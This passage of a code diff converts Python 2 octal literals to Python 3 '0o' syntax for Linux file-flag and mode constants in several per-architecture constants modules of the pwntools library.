-O_NONBLOCK = Constant('O_NONBLOCK',04000)
-O_NDELAY = Constant('O_NDELAY',04000)
-O_SYNC = Constant('O_SYNC',010000)
-FASYNC = Constant('FASYNC',020000)
-O_DIRECT = Constant('O_DIRECT',040000)
-O_LARGEFILE = Constant('O_LARGEFILE',0100000)
-O_DIRECTORY = Constant('O_DIRECTORY',0200000)
-O_NOFOLLOW = Constant('O_NOFOLLOW',0400000)
-O_NOATIME = Constant('O_NOATIME',01000000)
+O_ACCMODE = Constant('O_ACCMODE',0o003)
+O_RDONLY = Constant('O_RDONLY',0o0)
+O_WRONLY = Constant('O_WRONLY',0o1)
+O_RDWR = Constant('O_RDWR',0o2)
+O_CREAT = Constant('O_CREAT',0o100)
+O_EXCL = Constant('O_EXCL',0o200)
+O_NOCTTY = Constant('O_NOCTTY',0o400)
+O_TRUNC = Constant('O_TRUNC',0o1000)
+O_APPEND = Constant('O_APPEND',0o2000)
+O_NONBLOCK = Constant('O_NONBLOCK',0o4000)
+O_NDELAY = Constant('O_NDELAY',0o4000)
+O_SYNC = Constant('O_SYNC',0o10000)
+FASYNC = Constant('FASYNC',0o20000)
+O_DIRECT = Constant('O_DIRECT',0o40000)
+O_LARGEFILE = Constant('O_LARGEFILE',0o100000)
+O_DIRECTORY = Constant('O_DIRECTORY',0o200000)
+O_NOFOLLOW = Constant('O_NOFOLLOW',0o400000)
+O_NOATIME = Constant('O_NOATIME',0o1000000)
 F_DUPFD = Constant('F_DUPFD',0)
 F_GETFD = Constant('F_GETFD',1)
 F_SETFD = Constant('F_SETFD',2)
@@ -643,7 +643,7 @@ LOCK_MAND = Constant('LOCK_MAND',32)
 LOCK_READ = Constant('LOCK_READ',64)
 LOCK_WRITE = Constant('LOCK_WRITE',128)
 LOCK_RW = Constant('LOCK_RW',192)
-O_ASYNC = Constant('O_ASYNC',020000)
+O_ASYNC = Constant('O_ASYNC',0o20000)
 MREMAP_MAYMOVE = Constant('MREMAP_MAYMOVE',1)
 MREMAP_FIXED = Constant('MREMAP_FIXED',2)
 PROT_READ = Constant('PROT_READ',0x1)

pwnlib/constants/linux/mips.py

@@ -567,32 +567,32 @@ F_ULOCK = Constant('F_ULOCK',0)
 F_LOCK = Constant('F_LOCK',1)
 F_TLOCK = Constant('F_TLOCK',2)
 F_TEST = Constant('F_TEST',3)
-S_IFMT = Constant('S_IFMT',00170000)
-S_IFSOCK = Constant('S_IFSOCK',0140000)
-S_IFLNK = Constant('S_IFLNK',0120000)
-S_IFREG = Constant('S_IFREG',0100000)
-S_IFBLK = Constant('S_IFBLK',0060000)
-S_IFDIR = Constant('S_IFDIR',0040000)
-S_IFCHR = Constant('S_IFCHR',0020000)
-S_IFIFO = Constant('S_IFIFO',0010000)
-S_ISUID = Constant('S_ISUID',0004000)
-S_ISGID = Constant('S_ISGID',0002000)
-S_ISVTX = Constant('S_ISVTX',0001000)
-S_IRWXU = Constant('S_IRWXU',00700)
-S_IRUSR = Constant('S_IRUSR',00400)
-S_IWUSR = Constant('S_IWUSR',00200)
-S_IXUSR = Constant('S_IXUSR',00100)
-S_IRWXG = Constant('S_IRWXG',00070)
-S_IRGRP = Constant('S_IRGRP',00040)
-S_IWGRP = Constant('S_IWGRP',00020)
-S_IXGRP = Constant('S_IXGRP',00010)
-S_IRWXO = Constant('S_IRWXO',00007)
-S_IROTH = Constant('S_IROTH',00004)
-S_IWOTH = Constant('S_IWOTH',00002)
-S_IXOTH = Constant('S_IXOTH',00001)
-S_IREAD = Constant('S_IREAD',00400)
-S_IWRITE = Constant('S_IWRITE',00200)
-S_IEXEC = Constant('S_IEXEC',00100)
+S_IFMT = Constant('S_IFMT',0o0170000)
+S_IFSOCK = Constant('S_IFSOCK',0o140000)
+S_IFLNK = Constant('S_IFLNK',0o120000)
+S_IFREG = Constant('S_IFREG',0o100000)
+S_IFBLK = Constant('S_IFBLK',0o060000)
+S_IFDIR = Constant('S_IFDIR',0o040000)
+S_IFCHR = Constant('S_IFCHR',0o020000)
+S_IFIFO = Constant('S_IFIFO',0o010000)
+S_ISUID = Constant('S_ISUID',0o004000)
+S_ISGID = Constant('S_ISGID',0o002000)
+S_ISVTX = Constant('S_ISVTX',0o001000)
+S_IRWXU = Constant('S_IRWXU',0o0700)
+S_IRUSR = Constant('S_IRUSR',0o0400)
+S_IWUSR = Constant('S_IWUSR',0o0200)
+S_IXUSR = Constant('S_IXUSR',0o0100)
+S_IRWXG = Constant('S_IRWXG',0o0070)
+S_IRGRP = Constant('S_IRGRP',0o0040)
+S_IWGRP = Constant('S_IWGRP',0o0020)
+S_IXGRP = Constant('S_IXGRP',0o0010)
+S_IRWXO = Constant('S_IRWXO',0o0007)
+S_IROTH = Constant('S_IROTH',0o0004)
+S_IWOTH = Constant('S_IWOTH',0o0002)
+S_IXOTH = Constant('S_IXOTH',0o0001)
+S_IREAD = Constant('S_IREAD',0o0400)
+S_IWRITE = Constant('S_IWRITE',0o0200)
+S_IEXEC = Constant('S_IEXEC',0o0100)
 F_LINUX_SPECIFIC_BASE = Constant('F_LINUX_SPECIFIC_BASE',1024)
 O_ACCMODE = Constant('O_ACCMODE',0x0003)
 O_RDONLY = Constant('O_RDONLY',0x0000)

pwnlib/constants/linux/powerpc.py

@@ -525,32 +525,32 @@ F_ULOCK = Constant('F_ULOCK',0)
 F_LOCK = Constant('F_LOCK',1)
 F_TLOCK = Constant('F_TLOCK',2)
 F_TEST = Constant('F_TEST',3)
-S_IFMT = Constant('S_IFMT',00170000)
-S_IFSOCK = Constant('S_IFSOCK',0140000)
-S_IFLNK = Constant('S_IFLNK',0120000)
-S_IFREG = Constant('S_IFREG',0100000)
-S_IFBLK = Constant('S_IFBLK',0060000)
-S_IFDIR = Constant('S_IFDIR',0040000)
-S_IFCHR = Constant('S_IFCHR',0020000)
-S_IFIFO = Constant('S_IFIFO',0010000)
-S_ISUID = Constant('S_ISUID',0004000)
-S_ISGID = Constant('S_ISGID',0002000)
-S_ISVTX = Constant('S_ISVTX',0001000)
-S_IRWXU = Constant('S_IRWXU',00700)
-S_IRUSR = Constant('S_IRUSR',00400)
-S_IWUSR = Constant('S_IWUSR',00200)
-S_IXUSR = Constant('S_IXUSR',00100)
-S_IRWXG = Constant('S_IRWXG',00070)
-S_IRGRP = Constant('S_IRGRP',00040)
-S_IWGRP = Constant('S_IWGRP',00020)
-S_IXGRP = Constant('S_IXGRP',00010)
-S_IRWXO = Constant('S_IRWXO',00007)
-S_IROTH = Constant('S_IROTH',00004)
-S_IWOTH = Constant('S_IWOTH',00002)
-S_IXOTH = Constant('S_IXOTH',00001)
-S_IREAD = Constant('S_IREAD',00400)
-S_IWRITE = Constant('S_IWRITE',00200)
-S_IEXEC = Constant('S_IEXEC',00100)
+S_IFMT = Constant('S_IFMT',0o0170000)
+S_IFSOCK = Constant('S_IFSOCK',0o140000)
+S_IFLNK = Constant('S_IFLNK',0o120000)
+S_IFREG = Constant('S_IFREG',0o100000)
+S_IFBLK = Constant('S_IFBLK',0o060000)
+S_IFDIR = Constant('S_IFDIR',0o040000)
+S_IFCHR = Constant('S_IFCHR',0o020000)
+S_IFIFO = Constant('S_IFIFO',0o010000)
+S_ISUID = Constant('S_ISUID',0o004000)
+S_ISGID = Constant('S_ISGID',0o002000)
+S_ISVTX = Constant('S_ISVTX',0o001000)
+S_IRWXU = Constant('S_IRWXU',0o0700)
+S_IRUSR = Constant('S_IRUSR',0o0400)
+S_IWUSR = Constant('S_IWUSR',0o0200)
+S_IXUSR = Constant('S_IXUSR',0o0100)
+S_IRWXG = Constant('S_IRWXG',0o0070)
+S_IRGRP = Constant('S_IRGRP',0o0040)
+S_IWGRP = Constant('S_IWGRP',0o0020)
+S_IXGRP = Constant('S_IXGRP',0o0010)
+S_IRWXO = Constant('S_IRWXO',0o0007)
+S_IROTH = Constant('S_IROTH',0o0004)
+S_IWOTH = Constant('S_IWOTH',0o0002)
+S_IXOTH = Constant('S_IXOTH',0o0001)
+S_IREAD = Constant('S_IREAD',0o0400)
+S_IWRITE = Constant('S_IWRITE',0o0200)
+S_IEXEC = Constant('S_IEXEC',0o0100)
 F_LINUX_SPECIFIC_BASE = Constant('F_LINUX_SPECIFIC_BASE',1024)
 MREMAP_MAYMOVE = Constant('MREMAP_MAYMOVE',1)
 MREMAP_FIXED = Constant('MREMAP_FIXED',2)

pwnlib/constants/linux/powerpc64.py

@@ -518,32 +518,32 @@ F_ULOCK = Constant('F_ULOCK',0)
 F_LOCK = Constant('F_LOCK',1)
 F_TLOCK = Constant('F_TLOCK',2)
 F_TEST = Constant('F_TEST',3)
-S_IFMT = Constant('S_IFMT',00170000)
-S_IFSOCK = Constant('S_IFSOCK',0140000)
-S_IFLNK = Constant('S_IFLNK',0120000)
-S_IFREG = Constant('S_IFREG',0100000)
-S_IFBLK = Constant('S_IFBLK',0060000)
-S_IFDIR = Constant('S_IFDIR',0040000)
-S_IFCHR = Constant('S_IFCHR',0020000)
-S_IFIFO = Constant('S_IFIFO',0010000)
-S_ISUID = Constant('S_ISUID',0004000)
-S_ISGID = Constant('S_ISGID',0002000)
-S_ISVTX = Constant('S_ISVTX',0001000)
-S_IRWXU = Constant('S_IRWXU',00700)
-S_IRUSR = Constant('S_IRUSR',00400)
-S_IWUSR = Constant('S_IWUSR',00200)
-S_IXUSR = Constant('S_IXUSR',00100)
-S_IRWXG = Constant('S_IRWXG',00070)
-S_IRGRP = Constant('S_IRGRP',00040)
-S_IWGRP = Constant('S_IWGRP',00020)
-S_IXGRP = Constant('S_IXGRP',00010)
-S_IRWXO = Constant('S_IRWXO',00007)
-S_IROTH = Constant('S_IROTH',00004)
-S_IWOTH = Constant('S_IWOTH',00002)
-S_IXOTH = Constant('S_IXOTH',00001)
-S_IREAD = Constant('S_IREAD',00400)
-S_IWRITE = Constant('S_IWRITE',00200)
-S_IEXEC = Constant('S_IEXEC',00100)
+S_IFMT = Constant('S_IFMT',0o0170000)
+S_IFSOCK = Constant('S_IFSOCK',0o140000)
+S_IFLNK = Constant('S_IFLNK',0o120000)
+S_IFREG = Constant('S_IFREG',0o100000)
+S_IFBLK = Constant('S_IFBLK',0o060000)
+S_IFDIR = Constant('S_IFDIR',0o040000)
+S_IFCHR = Constant('S_IFCHR',0o020000)
+S_IFIFO = Constant('S_IFIFO',0o010000)
+S_ISUID = Constant('S_ISUID',0o004000)
+S_ISGID = Constant('S_ISGID',0o002000)
+S_ISVTX = Constant('S_ISVTX',0o001000)
+S_IRWXU = Constant('S_IRWXU',0o0700)
+S_IRUSR = Constant('S_IRUSR',0o0400)
+S_IWUSR = Constant('S_IWUSR',0o0200)
+S_IXUSR = Constant('S_IXUSR',0o0100)
+S_IRWXG = Constant('S_IRWXG',0o0070)
+S_IRGRP = Constant('S_IRGRP',0o0040)
+S_IWGRP = Constant('S_IWGRP',0o0020)
+S_IXGRP = Constant('S_IXGRP',0o0010)
+S_IRWXO = Constant('S_IRWXO',0o0007)
+S_IROTH = Constant('S_IROTH',0o0004)
+S_IWOTH = Constant('S_IWOTH',0o0002)
+S_IXOTH = Constant('S_IXOTH',0o0001)
+S_IREAD = Constant('S_IREAD',0o0400)
+S_IWRITE = Constant('S_IWRITE',0o0200)
+S_IEXEC = Constant('S_IEXEC',0o0100)
 F_LINUX_SPECIFIC_BASE = Constant('F_LINUX_SPECIFIC_BASE',1024)
 MREMAP_MAYMOVE = Constant('MREMAP_MAYMOVE',1)
 MREMAP_FIXED = Constant('MREMAP_FIXED',2)

pwnlib/constants/linux/s390.py

@@ -541,51 +541,51 @@ F_LOCK = Constant('F_LOCK',1)
 F_TLOCK = Constant('F_TLOCK',2)
 F_TEST = Constant('F_TEST',3)
 STAT64_HAS_BROKEN_ST_INO = Constant('STAT64_HAS_BROKEN_ST_INO',1)
-S_IFMT = Constant('S_IFMT',00170000)
-S_IFSOCK = Constant('S_IFSOCK',0140000)
-S_IFLNK = Constant('S_IFLNK',0120000)
-S_IFREG = Constant('S_IFREG',0100000)
-S_IFBLK = Constant('S_IFBLK',0060000)
-S_IFDIR = Constant('S_IFDIR',0040000)
-S_IFCHR = Constant('S_IFCHR',0020000)
-S_IFIFO = Constant('S_IFIFO',0010000)
-S_ISUID = Constant('S_ISUID',0004000)
-S_ISGID = Constant('S_ISGID',0002000)
-S_ISVTX = Constant('S_ISVTX',0001000)
-S_IRWXU = Constant('S_IRWXU',00700)
-S_IRUSR = Constant('S_IRUSR',00400)
-S_IWUSR = Constant('S_IWUSR',00200)
-S_IXUSR = Constant('S_IXUSR',00100)
-S_IRWXG = Constant('S_IRWXG',00070)
-S_IRGRP = Constant('S_IRGRP',00040)
-S_IWGRP = Constant('S_IWGRP',00020)
-S_IXGRP = Constant('S_IXGRP',00010)
-S_IRWXO = Constant('S_IRWXO',00007)
-S_IROTH = Constant('S_IROTH',00004)
-S_IWOTH = Constant('S_IWOTH',00002)
-S_IXOTH = Constant('S_IXOTH',00001)
-S_IREAD = Constant('S_IREAD',00400)
-S_IWRITE = Constant('S_IWRITE',00200)
-S_IEXEC = Constant('S_IEXEC',00100)
+S_IFMT = Constant('S_IFMT',0o0170000)
+S_IFSOCK = Constant('S_IFSOCK',0o140000)
+S_IFLNK = Constant('S_IFLNK',0o120000)
+S_IFREG = Constant('S_IFREG',0o100000)
+S_IFBLK = Constant('S_IFBLK',0o060000)
+S_IFDIR = Constant('S_IFDIR',0o040000)
+S_IFCHR = Constant('S_IFCHR',0o020000)
+S_IFIFO = Constant('S_IFIFO',0o010000)
+S_ISUID = Constant('S_ISUID',0o004000)
+S_ISGID = Constant('S_ISGID',0o002000)
+S_ISVTX = Constant('S_ISVTX',0o001000)
+S_IRWXU = Constant('S_IRWXU',0o0700)
+S_IRUSR = Constant('S_IRUSR',0o0400)
+S_IWUSR = Constant('S_IWUSR',0o0200)
+S_IXUSR = Constant('S_IXUSR',0o0100)
+S_IRWXG = Constant('S_IRWXG',0o0070)
+S_IRGRP = Constant('S_IRGRP',0o0040)
+S_IWGRP = Constant('S_IWGRP',0o0020)
+S_IXGRP = Constant('S_IXGRP',0o0010)
+S_IRWXO = Constant('S_IRWXO',0o0007)
+S_IROTH = Constant('S_IROTH',0o0004)
+S_IWOTH = Constant('S_IWOTH',0o0002)
+S_IXOTH = Constant('S_IXOTH',0o0001)
+S_IREAD = Constant('S_IREAD',0o0400)
+S_IWRITE = Constant('S_IWRITE',0o0200)
+S_IEXEC = Constant('S_IEXEC',0o0100)
 F_LINUX_SPECIFIC_BASE = Constant('F_LINUX_SPECIFIC_BASE',1024)
-O_ACCMODE = Constant('O_ACCMODE',0003)
-O_RDONLY = Constant('O_RDONLY',00)
-O_WRONLY = Constant('O_WRONLY',01)
-O_RDWR = Constant('O_RDWR',02)
-O_CREAT = Constant('O_CREAT',0100)
-O_EXCL = Constant('O_EXCL',0200)
-O_NOCTTY = Constant('O_NOCTTY',0400)
-O_TRUNC = Constant('O_TRUNC',01000)
-O_APPEND = Constant('O_APPEND',02000)
-O_NONBLOCK = Constant('O_NONBLOCK',04000)
-O_NDELAY = Constant('O_NDELAY',04000)
-O_SYNC = Constant('O_SYNC',010000)
-FASYNC = Constant('FASYNC',020000)
-O_DIRECT = Constant('O_DIRECT',040000)
-O_LARGEFILE = Constant('O_LARGEFILE',0100000)
-O_DIRECTORY = Constant('O_DIRECTORY',0200000)
-O_NOFOLLOW = Constant('O_NOFOLLOW',0400000)
-O_NOATIME = Constant('O_NOATIME',01000000)
+O_ACCMODE = Constant('O_ACCMODE',0o003)
+O_RDONLY = Constant('O_RDONLY',0o0)
+O_WRONLY = Constant('O_WRONLY',0o1)
+O_RDWR = Constant('O_RDWR',0o2)
+O_CREAT = Constant('O_CREAT',0o100)
+O_EXCL = Constant('O_EXCL',0o200)
+O_NOCTTY = Constant('O_NOCTTY',0o400)
+O_TRUNC = Constant('O_TRUNC',0o1000)
+O_APPEND = Constant('O_APPEND',0o2000)
+O_NONBLOCK = Constant('O_NONBLOCK',0o4000)
+O_NDELAY = Constant('O_NDELAY',0o4000)
+O_SYNC = Constant('O_SYNC',0o10000)
+FASYNC = Constant('FASYNC',0o20000)
+O_DIRECT = Constant('O_DIRECT',0o40000)
+O_LARGEFILE = Constant('O_LARGEFILE',0o100000)
+O_DIRECTORY = Constant('O_DIRECTORY',0o200000)
+O_NOFOLLOW = Constant('O_NOFOLLOW',0o400000)
+O_NOATIME = Constant('O_NOATIME',0o1000000)
 F_DUPFD = Constant('F_DUPFD',0)
 F_GETFD = Constant('F_GETFD',1)
 F_SETFD = Constant('F_SETFD',2)
@@ -616,7 +616,7 @@ LOCK_MAND = Constant('LOCK_MAND',32)
 LOCK_READ = Constant('LOCK_READ',64)
 LOCK_WRITE = Constant('LOCK_WRITE',128)
 LOCK_RW = Constant('LOCK_RW',192)
-O_ASYNC = Constant('O_ASYNC',020000)
+O_ASYNC = Constant('O_ASYNC',0o20000)
 MREMAP_MAYMOVE = Constant('MREMAP_MAYMOVE',1)
 MREMAP_FIXED = Constant('MREMAP_FIXED',2)
 PROT_READ = Constant('PROT_READ',0x1)

pwnlib/constants/linux/s390x.py

@@ -533,32 +533,32 @@ F_ULOCK = Constant('F_ULOCK',0)
 F_LOCK = Constant('F_LOCK',1)
 F_TLOCK = Constant('F_TLOCK',2)
 F_TEST = Constant('F_TEST',3)
-S_IFMT = Constant('S_IFMT',00170000)
-S_IFSOCK = Constant('S_IFSOCK',0140000)
-S_IFLNK = Constant('S_IFLNK',0120000)
-S_IFREG = Constant('S_IFREG',0100000)
-S_IFBLK = Constant('S_IFBLK',0060000)
-S_IFDIR = Constant('S_IFDIR',0040000)
-S_IFCHR = Constant('S_IFCHR',0020000)
-S_IFIFO = Constant('S_IFIFO',0010000)
-S_ISUID = Constant('S_ISUID',0004000)
-S_ISGID = Constant('S_ISGID',0002000)
-S_ISVTX = Constant('S_ISVTX',0001000)
-S_IRWXU = Constant('S_IRWXU',00700)
-S_IRUSR = Constant('S_IRUSR',00400)
-S_IWUSR = Constant('S_IWUSR',00200)
-S_IXUSR = Constant('S_IXUSR',00100)
-S_IRWXG = Constant('S_IRWXG',00070)
-S_IRGRP = Constant('S_IRGRP',00040)
-S_IWGRP = Constant('S_IWGRP',00020)
-S_IXGRP = Constant('S_IXGRP',00010)
-S_IRWXO = Constant('S_IRWXO',00007)
-S_IROTH = Constant('S_IROTH',00004)
-S_IWOTH = Constant('S_IWOTH',00002)
-S_IXOTH = Constant('S_IXOTH',00001)
-S_IREAD = Constant('S_IREAD',00400)
-S_IWRITE = Constant('S_IWRITE',00200)
-S_IEXEC = Constant('S_IEXEC',00100)
+S_IFMT = Constant('S_IFMT',0o0170000)
+S_IFSOCK = Constant('S_IFSOCK',0o140000)
+S_IFLNK = Constant('S_IFLNK',0o120000)
+S_IFREG = Constant('S_IFREG',0o100000)
+S_IFBLK = Constant('S_IFBLK',0o060000)
+S_IFDIR = Constant('S_IFDIR',0o040000)
+S_IFCHR = Constant('S_IFCHR',0o020000)
+S_IFIFO = Constant('S_IFIFO',0o010000)
+S_ISUID = Constant('S_ISUID',0o004000)
+S_ISGID = Constant('S_ISGID',0o002000)
+S_ISVTX = Constant('S_ISVTX',0o001000)
+S_IRWXU = Constant('S_IRWXU',0o0700)
+S_IRUSR = Constant('S_IRUSR',0o0400)
+S_IWUSR = Constant('S_IWUSR',0o0200)
+S_IXUSR = Constant('S_IXUSR',0o0100)
+S_IRWXG = Constant('S_IRWXG',0o0070)
+S_IRGRP = Constant('S_IRGRP',0o0040)
+S_IWGRP = Constant('S_IWGRP',0o0020)
+S_IXGRP = Constant('S_IXGRP',0o0010)
+S_IRWXO = Constant('S_IRWXO',0o0007)
+S_IROTH = Constant('S_IROTH',0o0004)
+S_IWOTH = Constant('S_IWOTH',0o0002)
+S_IXOTH = Constant('S_IXOTH',0o0001)
+S_IREAD = Constant('S_IREAD',0o0400)
+S_IWRITE = Constant('S_IWRITE',0o0200)
+S_IEXEC = Constant('S_IEXEC',0o0100)
 F_LINUX_SPECIFIC_BASE = Constant('F_LINUX_SPECIFIC_BASE',1024)
 MREMAP_MAYMOVE = Constant('MREMAP_MAYMOVE',1)
 MREMAP_FIXED = Constant('MREMAP_FIXED',2)

pwnlib/constants/linux/sparc.py

@@ -576,32 +576,32 @@ F_ULOCK = Constant('F_ULOCK',0)
 F_LOCK = Constant('F_LOCK',1)
 F_TLOCK = Constant('F_TLOCK',2)
 F_TEST = Constant('F_TEST',3)
-S_IFMT = Constant('S_IFMT',00170000)
-S_IFSOCK = Constant('S_IFSOCK',0140000)
-S_IFLNK = Constant('S_IFLNK',0120000)
-S_IFREG = Constant('S_IFREG',0100000)
-S_IFBLK = Constant('S_IFBLK',0060000)
-S_IFDIR = Constant('S_IFDIR',0040000)
-S_IFCHR = Constant('S_IFCHR',0020000)
-S_IFIFO = Constant('S_IFIFO',0010000)
-S_ISUID = Constant('S_ISUID',0004000)
-S_ISGID = Constant('S_ISGID',0002000)
-S_ISVTX = Constant('S_ISVTX',0001000)
-S_IRWXU = Constant('S_IRWXU',00700)
-S_IRUSR = Constant('S_IRUSR',00400)
-S_IWUSR = Constant('S_IWUSR',00200)
-S_IXUSR = Constant('S_IXUSR',00100)
-S_IRWXG = Constant('S_IRWXG',00070)
-S_IRGRP = Constant('S_IRGRP',00040)
-S_IWGRP = Constant('S_IWGRP',00020)
-S_IXGRP = Constant('S_IXGRP',00010)
-S_IRWXO = Constant('S_IRWXO',00007)
-S_IROTH = Constant('S_IROTH',00004)
-S_IWOTH = Constant('S_IWOTH',00002)
-S_IXOTH = Constant('S_IXOTH',00001)
-S_IREAD = Constant('S_IREAD',00400)
-S_IWRITE = Constant('S_IWRITE',00200)
-S_IEXEC = Constant('S_IEXEC',00100)
+S_IFMT = Constant('S_IFMT',0o0170000)
+S_IFSOCK = Constant('S_IFSOCK',0o140000)
+S_IFLNK = Constant('S_IFLNK',0o120000)
+S_IFREG = Constant('S_IFREG',0o100000)
+S_IFBLK = Constant('S_IFBLK',0o060000)
+S_IFDIR = Constant('S_IFDIR',0o040000)
+S_IFCHR = Constant('S_IFCHR',0o020000)
+S_IFIFO = Constant('S_IFIFO',0o010000)
+S_ISUID = Constant('S_ISUID',0o004000)
+S_ISGID = Constant('S_ISGID',0o002000)
+S_ISVTX = Constant('S_ISVTX',0o001000)
+S_IRWXU = Constant('S_IRWXU',0o0700)
+S_IRUSR = Constant('S_IRUSR',0o0400)
+S_IWUSR = Constant('S_IWUSR',0o0200)
+S_IXUSR = Constant('S_IXUSR',0o0100)
+S_IRWXG = Constant('S_IRWXG',0o0070)
+S_IRGRP = Constant('S_IRGRP',0o0040)
+S_IWGRP = Constant('S_IWGRP',0o0020)
+S_IXGRP = Constant('S_IXGRP',0o0010)
+S_IRWXO = Constant('S_IRWXO',0o0007)
+S_IROTH = Constant('S_IROTH',0o0004)
+S_IWOTH = Constant('S_IWOTH',0o0002)
+S_IXOTH = Constant('S_IXOTH',0o0001)
+S_IREAD = Constant('S_IREAD',0o0400)
+S_IWRITE = Constant('S_IWRITE',0o0200)
+S_IEXEC = Constant('S_IEXEC',0o0100)
 F_LINUX_SPECIFIC_BASE = Constant('F_LINUX_SPECIFIC_BASE',1024)
 O_RDONLY = Constant('O_RDONLY',0x0000)
 O_WRONLY = Constant('O_WRONLY',0x0001)

pwnlib/constants/linux/sparc64.py

@@ -524,32 +524,32 @@ F_ULOCK = Constant('F_ULOCK',0)
 F_LOCK = Constant('F_LOCK',1)
 F_TLOCK = Constant('F_TLOCK',2)
 F_TEST = Constant('F_TEST',3)
-S_IFMT = Constant('S_IFMT',00170000)
-S_IFSOCK = Constant('S_IFSOCK',0140000)
-S_IFLNK = Constant('S_IFLNK',0120000)
-S_IFREG = Constant('S_IFREG',0100000)
-S_IFBLK = Constant('S_IFBLK',0060000)
-S_IFDIR = Constant('S_IFDIR',0040000)
-S_IFCHR = Constant('S_IFCHR',0020000)
-S_IFIFO = Constant('S_IFIFO',0010000)
-S_ISUID = Constant('S_ISUID',0004000)
-S_ISGID = Constant('S_ISGID',0002000)
-S_ISVTX = Constant('S_ISVTX',0001000)
-S_IRWXU = Constant('S_IRWXU',00700)
-S_IRUSR = Constant('S_IRUSR',00400)
-S_IWUSR = Constant('S_IWUSR',00200)
-S_IXUSR = Constant('S_IXUSR',00100)
-S_IRWXG = Constant('S_IRWXG',00070)
-S_IRGRP = Constant('S_IRGRP',00040)
-S_IWGRP = Constant('S_IWGRP',00020)
-S_IXGRP = Constant('S_IXGRP',00010)
-S_IRWXO = Constant('S_IRWXO',00007)
-S_IROTH = Constant('S_IROTH',00004)
-S_IWOTH = Constant('S_IWOTH',00002)
-S_IXOTH = Constant('S_IXOTH',00001)
-S_IREAD = Constant('S_IREAD',00400)
-S_IWRITE = Constant('S_IWRITE',00200)
-S_IEXEC = Constant('S_IEXEC',00100)
+S_IFMT = Constant('S_IFMT',0o0170000)
+S_IFSOCK = Constant('S_IFSOCK',0o140000)
+S_IFLNK = Constant('S_IFLNK',0o120000)
+S_IFREG = Constant('S_IFREG',0o100000)
+S_IFBLK = Constant('S_IFBLK',0o060000)
+S_IFDIR = Constant('S_IFDIR',0o040000)
+S_IFCHR = Constant('S_IFCHR',0o020000)
+S_IFIFO = Constant('S_IFIFO',0o010000)
+S_ISUID = Constant('S_ISUID',0o004000)
+S_ISGID = Constant('S_ISGID',0o002000)
+S_ISVTX = Constant('S_ISVTX',0o001000)
+S_IRWXU = Constant('S_IRWXU',0o0700)
+S_IRUSR = Constant('S_IRUSR',0o0400)
+S_IWUSR = Constant('S_IWUSR',0o0200)
+S_IXUSR = Constant('S_IXUSR',0o0100)
+S_IRWXG = Constant('S_IRWXG',0o0070)
+S_IRGRP = Constant('S_IRGRP',0o0040)
+S_IWGRP = Constant('S_IWGRP',0o0020)
+S_IXGRP = Constant('S_IXGRP',0o0010)
+S_IRWXO = Constant('S_IRWXO',0o0007)
+S_IROTH = Constant('S_IROTH',0o0004)
+S_IWOTH = Constant('S_IWOTH',0o0002)
+S_IXOTH = Constant('S_IXOTH',0o0001)
+S_IREAD = Constant('S_IREAD',0o0400)
+S_IWRITE = Constant('S_IWRITE',0o0200)
+S_IEXEC = Constant('S_IEXEC',0o0100)
 F_LINUX_SPECIFIC_BASE = Constant('F_LINUX_SPECIFIC_BASE',1024)
 MREMAP_MAYMOVE = Constant('MREMAP_MAYMOVE',1)
 MREMAP_FIXED = Constant('MREMAP_FIXED',2)

pwnlib/constants/linux/thumb.py

@@ -917,51 +917,51 @@ F_LOCK = Constant('F_LOCK',1)
 F_TLOCK = Constant('F_TLOCK',2)
 F_TEST = Constant('F_TEST',3)
 STAT64_HAS_BROKEN_ST_INO = Constant('STAT64_HAS_BROKEN_ST_INO',1)
-S_IFMT = Constant('S_IFMT',00170000)
-S_IFSOCK = Constant('S_IFSOCK',0140000)
-S_IFLNK = Constant('S_IFLNK',0120000)
-S_IFREG = Constant('S_IFREG',0100000)
-S_IFBLK = Constant('S_IFBLK',0060000)
-S_IFDIR = Constant('S_IFDIR',0040000)
-S_IFCHR = Constant('S_IFCHR',0020000)
-S_IFIFO = Constant('S_IFIFO',0010000)
-S_ISUID = Constant('S_ISUID',0004000)
-S_ISGID = Constant('S_ISGID',0002000)
-S_ISVTX = Constant('S_ISVTX',0001000)
-S_IRWXU = Constant('S_IRWXU',00700)
-S_IRUSR = Constant('S_IRUSR',00400)
-S_IWUSR = Constant('S_IWUSR',00200)
-S_IXUSR = Constant('S_IXUSR',00100)
-S_IRWXG = Constant('S_IRWXG',00070)
-S_IRGRP = Constant('S_IRGRP',00040)
-S_IWGRP = Constant('S_IWGRP',00020)
-S_IXGRP = Constant('S_IXGRP',00010)
-S_IRWXO = Constant('S_IRWXO',00007)
-S_IROTH = Constant('S_IROTH',00004)
-S_IWOTH = Constant('S_IWOTH',00002)
-S_IXOTH = Constant('S_IXOTH',00001)
-S_IREAD = Constant('S_IREAD',00400)
-S_IWRITE = Constant('S_IWRITE',00200)
-S_IEXEC = Constant('S_IEXEC',00100)
+S_IFMT = Constant('S_IFMT',0o0170000)
+S_IFSOCK = Constant('S_IFSOCK',0o140000)
+S_IFLNK = Constant('S_IFLNK',0o120000)
+S_IFREG = Constant('S_IFREG',0o100000)
+S_IFBLK = Constant('S_IFBLK',0o060000)
+S_IFDIR = Constant('S_IFDIR',0o040000)
+S_IFCHR = Constant('S_IFCHR',0o020000)
+S_IFIFO = Constant('S_IFIFO',0o010000)
+S_ISUID = Constant('S_ISUID',0o004000)
+S_ISGID = Constant('S_ISGID',0o002000)
+S_ISVTX = Constant('S_ISVTX',0o001000)
+S_IRWXU = Constant('S_IRWXU',0o0700)
+S_IRUSR = Constant('S_IRUSR',0o0400)
+S_IWUSR = Constant('S_IWUSR',0o0200)
+S_IXUSR = Constant('S_IXUSR',0o0100)
+S_IRWXG = Constant('S_IRWXG',0o0070)
+S_IRGRP = Constant('S_IRGRP',0o0040)
+S_IWGRP = Constant('S_IWGRP',0o0020)
+S_IXGRP = Constant('S_IXGRP',0o0010)
+S_IRWXO = Constant('S_IRWXO',0o0007)
+S_IROTH = Constant('S_IROTH',0o0004)
+S_IWOTH = Constant('S_IWOTH',0o0002)
+S_IXOTH = Constant('S_IXOTH',0o0001)
+S_IREAD = Constant('S_IREAD',0o0400)
+S_IWRITE = Constant('S_IWRITE',0o0200)
+S_IEXEC = Constant('S_IEXEC',0o0100)
 F_LINUX_SPECIFIC_BASE = Constant('F_LINUX_SPECIFIC_BASE',1024)
-O_ACCMODE = Constant('O_ACCMODE',0003)
-O_RDONLY = Constant('O_RDONLY',00)
-O_WRONLY = Constant('O_WRONLY',01)
-O_RDWR = Constant('O_RDWR',02)
-O_CREAT = Constant('O_CREAT',0100)
